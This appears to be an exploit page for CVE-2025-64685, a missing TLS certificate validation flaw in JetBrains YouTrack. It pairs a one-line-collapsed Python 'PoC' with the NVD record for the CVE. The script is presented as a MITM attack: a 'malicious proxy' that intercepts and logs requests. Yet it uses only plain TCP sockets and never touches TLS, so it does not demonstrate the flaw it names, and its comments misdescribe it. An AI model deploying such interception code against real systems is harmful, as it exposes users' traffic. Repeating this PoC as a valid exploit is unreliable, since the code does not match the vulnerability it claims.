CVE-2025-64685

import socket import ssl import subprocess # CVE-2025-64685 PoC - TLS Certificate Validation Bypass in JetBrains YouTrack # This PoC demonstrates the MITM attack vector def create_malicious_proxy(): """Create a transparent proxy to intercept YouTrack traffic""" # Listen on common YouTrack ports target_host = '127.0.0.1' target_port = 8080 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('', 80)) server_socket.listen(5) print(f"[*] Malicious proxy listening on port 80") print(f"[*] Redirecting traffic to YouTrack at {target_host}:{target_port}") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection from {addr}") # Intercept and log the request request = client_socket.recv(4096) print(f"[*] Intercepted request: {request[:100]}") # Forward to target without SSL verification target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_socket.connect((target_host, target_port)) target_socket.sendall(request) # Capture response response = target_socket.recv(4096) client_socket.sendall(response) print(f"[*] Captured {len(response)} bytes of data") client_socket.close() target_socket.close() if __name__ == "__main__": print("CVE-2025-64685 PoC - JetBrains YouTrack TLS Validation Bypass") print("WARNING: For authorized security testing only") create_malicious_proxy()

{"cve": {"id": "CVE-2025-64685", "sourceIdentifier": "[email protected]", "published": "2025-11-10T14:15:44.070", "lastModified": "2025-11-21T16:03:45.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains YouTrack before 2025.3.104432 missing TLS certificate validation enabled data disclosure"}, {"lang": "es", "value": "En JetBrains YouTrack antes de 2025.3.104432, la falta de validación de certificado TLS habilitó la divulgación de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:youtrack:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.104432", "matchCriteriaId": "F181D469-08FC-4F78-BE17-4EAF661A8EA0"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}